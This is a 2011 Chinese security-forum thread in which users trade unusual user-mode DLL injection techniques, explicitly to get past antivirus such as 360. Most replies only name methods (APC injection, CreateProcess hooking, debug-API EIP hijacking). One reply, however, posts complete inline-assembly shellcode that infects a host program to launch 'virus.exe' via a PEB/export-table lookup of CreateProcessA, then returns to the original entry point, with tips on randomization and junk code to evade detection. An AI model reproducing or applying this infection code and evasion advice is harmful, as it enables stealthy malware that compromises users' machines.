首页
社区
课程
招聘
[讨论] 有没有另类的点的注入DLL方法
发表于: 2011-1-29 18:39 7459

[讨论] 有没有另类的点的注入DLL方法

2011-1-29 18:39
7459
除了  那三种方法

Windows 钩子
CreateRemoteThread 和 LoadLibrary
CreateRemoteThread 和 WriteProcessMemory

越另类越好

注意  R3注入啊    R0一些内核hook 不要说了

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
WriteProcessMemory被360吃的紧紧的
2011-1-29 18:42
0
雪    币: 345
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
所以我说嘛  要另类一点的    希望那些 分析病毒的大牛 放出一点方法
2011-1-29 18:44
0
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习 等待 大牛
2011-1-29 19:43
0
雪    币: 458
活跃值: (421)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
5
apc线程插入  不过不太好用 偶尔会失败。
http://hi.baidu.com/blueapple_c/blog/item/2bdae9cb2501e295c81768c7.html

另一种  hook Explorer 的 createProcess  先挂起新进程  然后修改入口点
http://bbs.pediy.com/showthread.php?t=128076
2011-1-29 20:43
0
雪    币: 233
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习 等待 大牛
2011-1-29 20:45
0
雪    币: 1157
活跃值: (847)
能力值: ( LV8,RANK:150 )
在线值:
发帖
回帖
粉丝
7
dll陷阱如何呢
2011-1-30 16:32
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
还有一种直接shellcode感染目标程序进行注入.

asm
   pushad
   {根据PEB结构获得kernel32.dll基址}
   mov eax,fs:$30
   mov eax,[eax+$0c]
   mov esi,[eax+$1c]
   lodsd
   dw $9090
   nop  //分块标志
   {=================================}
   mov eax,[eax+$08] //eax=Kernel32基址
   {根据引出表获得CreateProcessA函数的地址}
   mov ebp,eax
   mov eax,[eax+$3C] //eax=eax._lfanew
   add eax,ebp
   mov eax,[eax+$78] //eax=eax.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
   add eax,ebp
   dw $9090
   nop
  {=================================}
   mov ebx,[eax+$18] //ebx=eax.NumberOfNames
   dec ebx
   mov ecx,[eax+$20] //ecx=eax.AddressOfNames
   add ecx,ebp //ecx指向函数名数组
   xor edx,edx
   dec edx
   dw $9090
   nop
   {=================================}
   search:   //搜索需要的函数名
    inc edx
    mov esi,[ecx+edx*4]
    add esi,ebp //esi指向当前搜索到的函数名
    cmp dword ptr [esi],  $61657243 //'Crea'
   jne search
    cmp dword ptr [esi+4],$72506574 //'tePr'
   jne search
    cmp dword ptr [esi+8],$7365636f //'oces'
   jne search
    cmp word ptr [esi+12],$4173     //'sA'
   jne search
   dw $9090
   nop
   mov ebx,[eax+$24] //ebx=eax.AddressOfNameOrdinal
   add ebx,ebp //ebx指向输出序号数组
   mov edx,[ebx+2*edx]
   shl edx,16
   shr edx,16
   mov ebx,[eax+$1c] //ebx=eax.AddressOfFunctions
   add ebx,ebp //ebx指向函数地址数组
   dw $9090
   nop
   {=================================}
   mov eax,[ebx+edx*4]
   add eax,ebp
   mov esi,eax
   {构建字符串}
   mov ebp,esp
   sub esp,$64 //分配100个字节作为局部变量
   mov [ebp-$A],$75726976
   mov [ebp-$6],$78652e73
   dw $9090
   nop
   {=================================}
   mov word ptr [ebp-$2],$0065 //构造字符串
   lea ebx,[ebp-$64]
   mov ecx,$44  //填充StartupInfo参数
   mov edi,ebx
   xor eax,eax
   rep stosb  //清零
   dw $9090
   nop
   mov [ebx+$2C],$1 //ebx.dwFlags=STARTF_USESHOWWINDOW
   lea ecx,[ebp-$20]
   lea eax,[ebp-$A] //eax指向文件名字符串
   {调用CreateProcessA} 这里自己可以实现LoadLibraryA
   push ecx //TProcessInformation
   push ebx //StartupInfo
   push 0
   push 0
   push 0
   push 1
   push 0
   push 0
   push eax //文件名
   push 0
   call esi //调用}
   dw $9090
   nop
   {=================================}
   add esp,$64
   popad  
   jmp eax //跳向原始OEP
   dd $90909090
   nop
   nop
   nop
   nop
   nop
end;

这里new一块内存,将$0065 分成2字节随机存放。

将LoadLibraryA放到随机分配的内存中去,然后jmp 过去,入口上弄一段随机花.
2011-1-31 08:35
0
雪    币: 1157
活跃值: (847)
能力值: ( LV8,RANK:150 )
在线值:
发帖
回帖
粉丝
9
加壳的基本原理嘛
2011-1-31 09:06
0
雪    币: 183
活跃值: (1178)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
LZ 是想 不通过写目标进程 来插入到目标进程吧

研究些 软件的 溢出 说不定会有 不一样的效果
2011-1-31 09:35
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
再另类的发出来就不另类了

另类还得自己创造
2011-1-31 17:00
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
12
inline hook LoadLibrary
2011-2-4 20:19
0
雪    币: 740
活跃值: (952)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
13
多行不义必自毙啊。

直接debug api如何?创建进程时标志个DEBUG,先停一下,保护下寄存器后直接改eip,接着再控回来……
2011-2-4 22:19
0
游客
登录 | 注册 方可回帖
返回
//